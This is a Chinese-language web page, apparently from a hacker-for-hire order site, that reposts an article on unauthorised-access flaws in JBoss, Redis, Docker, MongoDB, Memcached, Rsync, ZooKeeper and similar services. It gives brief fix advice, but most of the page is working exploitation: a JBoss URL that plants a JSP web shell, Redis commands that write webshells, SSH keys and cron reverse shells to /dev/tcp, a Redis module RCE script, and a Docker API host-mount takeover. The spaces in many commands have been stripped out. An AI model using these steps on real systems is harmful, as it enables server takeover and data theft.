黑客24小时在线接单网站

黑客24小时在线接单网站,黑客接单,接单网站,黑客入口

聊聊常见未授权访问漏洞总结

本文转载自微信公众号「Bypass」,作者Bypass 。转载本文请联系Bypass公众号。

本文详细地介绍了常见未授权访问漏洞及其利用,具体漏洞列表如下:

  • Jboss 未授权访问
  • Jenkins 未授权访问
  • ldap未授权访问
  • Redis未授权访问
  • elasticsearch未授权访问
  • MenCache未授权访问
  • Mongodb未授权访问
  • Rsync未授权访问
  • Zookeeper未授权访问
  • Docker未授权访问
1、Jboss未授权访问

漏洞原因:

在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

漏洞利用:

1、写入一句话木马:

  • http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
  • 2、写入1.txt文件

  • http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=helloworld!
  • 3、访问1.txt文件

  • http://127.0.0.1:8080/August/1.txt
  • 检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

    修复建议:关闭jmx-console和web-console,提高安全性。

    2、Jenkins 未授权访问

    漏洞原因:未设置密码,导致未授权访问。

    漏洞测试:直接通过url访问

  • http://<target>:8080/manage
  • http://<target>:8080/script
  • 修复建议:设置强口令密码。

    3、ldap未授权访问

    漏洞原因:没有对Ldap进行密码验证,导致未授权访问。

    检测脚本:

  • #!/usr/bin/envpython
  • #_*_coding:utf-8_*_
  • fromldap3importConnection,Server,ALL
  • defldap_anonymous(ip):
  • try:
  • server=Server(ip,get_info=ALL,connect_timeout=1)
  • conn=Connection(server,auto_bind=True)
  • print"[+]ldaploginforanonymous"
  • conn.closed
  • except:
  • #pass
  • print'[-]checkingforldapanonymousfail'
  • 利用工具:使用LdapBrowser直接连入,获取敏感信息。

    修复建议:增加强密码验证。

    4、Redis未授权访问

    漏洞利用:

    姿势一:绝对路径写webshell

    我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:

  • configsetdir/home/wwwroot/default/
  • configsetdbfilenameredis.php
  • setwebshell"<?phpphpinfo();?>"
  • save
  • 姿势二:公私钥认证获取root权限

    1、ssh免密码配置

  • ssh-keygen-trsa-P''#生成公钥/私钥对
  • cd/root/.ssh/
  • (echo-e"\n\n";catid_rsa.pub;echo-e"\n\n")>foo.txt#将公钥写入foo.txt文件
  • 连接Redis写入文件
  • 2、连接Redis写入文件

  • catfoo.txt|./redis-cli-h192.168.125.140-xsetcrackit
  • ./redis-cli-h192.168.125.140
  • configsetdir/root/.ssh/
  • configgetdir
  • configsetdbfilename"authorized_keys"
  • save
  • 利用私钥成功登录redis服务器

    姿势三:利用contrab计划任务反弹shell

  • configsetdir/var/spool/cron/crontabs/
  • configsetdbfilenameroot
  • flushall
  • settest"*****/bin/bash-i>&/dev/tcp/10.1.1.211:12340>&1"
  • save
  • 姿势四:主从复制RCE

    在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

    通过脚本实现一键自动化getshell:

    1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

  • gitclonehttps://github.com/n0b0dyCN/RedisModules-ExecuteCommand
  • cdRedisModules-ExecuteCommand/
  • make
  • 2、攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

  • gitclonehttps://github.com/Ridter/redis-rce.git
  • cdredis-rce/
  • cp../RedisModules-ExecuteCommand/src/module.so./
  • pipinstall-rrequirements.txt
  • pythonredis-rce.py-r192.168.28.152-p6379-L192.168.28.137-fmodule.so
  • 5、Elasticsearch未授权访问

    漏洞原因:Elasticsearch 默认端口为9200 ,攻击者可以直接访问http://ip:port。

    检测脚本:

  • #!/usr/bin/envpython
  • #_*_coding:utf-8_*_
  • importrequests
  • defElasticsearch_check(ip,port=9200,timeout=5):
  • try:
  •   url="http://"+ip+":"+str(port)+"/_cat"
  •   response=requests.get(url)
  • except:
  •   pass
  • if"/_cat/master"inresponse.content:
  •   print'[+]ElasticsearchUnauthorized:'+ip+':'+str(port)
  • 漏洞测试:

  • http://localhost:9200/_cat/indices
  • http://localhost:9200/_river/_search查看数据库敏感信息
  • http://localhost:9200/_nodes查看节点数据
  • 如有安装head插件:
  • http://localhost:9200/_plugin/head/web管理界面
  • 修复建议:

    1、限制IP访问,绑定固定IP

    2、在config/elasticsearch.yml中为9200端口设置认证:

  • http.basic.enabledtrue#开关,开启会接管全部HTTP连接
  •   http.basic.user"admin"#账号
  •   http.basic.password"admin_pw"#密码
  •   http.basic.ipwhitelist["localhost","127.0.0.1"]
  • 6、MenCache未授权访问

    漏洞原因:Memcached 分布式缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。

    检测脚本:

  • #!/usr/bin/envpython
  • #_*_coding:utf-8_*_
  • defMemcache_check(ip,port=11211,timeout=5):
  • try:
  • socket.setdefaulttimeout(timeout)
  • s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  • s.connect((ip,int(port)))
  • s.send("stats\r\n")
  • result=s.recv(1024)
  • if"STATversion"inresult:
  • print'[+]MemcacheUnauthorized:'+ip+':'+str(port)
  • exceptException,e:
  • pass
  • 漏洞验证:

  • #无需用户名密码,可以直接连接memcache服务的11211端口。
  • telnetx.x.x.x11211
  • stats//查看memcache服务状态
  • statsitems//查看所有items
  • statscachedump320//获得缓存key
  • get:state:264861539228401373:261588//通过key读取相应value,获得实际缓存内容,造成敏感信息泄露
  • 修复建议:绑定的ip地址为 127.0.0.1,或者通过firewall限制访问。

    7、Mongodb未授权访问

    漏洞原因:MongoDB 默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作),而且可以远程访问数据库。

    检测脚本:

  • #!/usr/bin/envpython
  • #_*_coding:utf-8_*_
  • defmongodb(ip,port):
  • try:
  • client=MongoClient(ip,port)
  • db=client.local
  • flag=db.collection_names()
  • ifflag:
  • print"[+]Mongodbloginforanonymous"
  • exceptException,e:
  • pass
  • 修复建议:增加用户密码权限验证,设置本地监听或者访问控制。

    8、Rsync未授权访问

    漏洞原因:未配置账号密码认证,导致未授权访问。

    漏洞测试:

  • 列举整个同步目录或指定目录:
  • rsync10.0.0.12::
  • rsync10.0.0.12::www/
  • 下载文件或目录到本地:
  • rsync–avz10.0.0.12::WWW//var/tmp
  • rsync–avz10.0.0.12::www//var/tmp
  • 上传本地文件到服务端:
  • rsync-avzwebshell10.0.0.12::WWW/
  • 修复建议:增加用户密码认证,设置访问ip限制。

    9、Zookeeper未授权访问

    漏洞原因:ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

    漏洞测试:

  • echoenvi|nc192.168.15.742181
  • 修复建议:添加用户名密码认证,设置ip访问控制。

    10、Docker未授权访问

    漏洞原因:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

  • sudodockerd-Hunix:///var/run/docker.sock-H0.0.0.0:2375
  • 漏洞利用:

    通过docker daemon api 执行docker命令。

  • #列出容器信息,效果与dockerps一致。
  • curlhttp://<target>:2375/containers/json
  • #启动容器
  • docker-Htcp://<target>:2375ps-a
  • 1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

  • sudodocker-Htcp://10.1.1.211:2375run-it-v/:/mntnginx:latest/bin/bash
  • 2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

  • echo'*****/bin/bash-i>&/dev/tcp/10.1.1.214/123450>&1'>>/mnt/var/spool/cron/crontabs/root
  • 3、本地监听端口,获取对方宿主机shell。

    • 评论列表:
    •  假欢皆叹
       发布于 2022-05-28 19:36:16  回复该评论
    • dis写入文件2、连接Redis写入文件catfoo.txt|./redis-cli-h192.168.125.140-xsetcrackit./redis-cli-h192.168.125.140configsetdir/root/.

    发表评论:

    «    2024年8月    »
    1234
    567891011
    12131415161718
    19202122232425
    262728293031
    文章归档
    标签列表

    Powered By

    Copyright Your WebSite.Some Rights Reserved.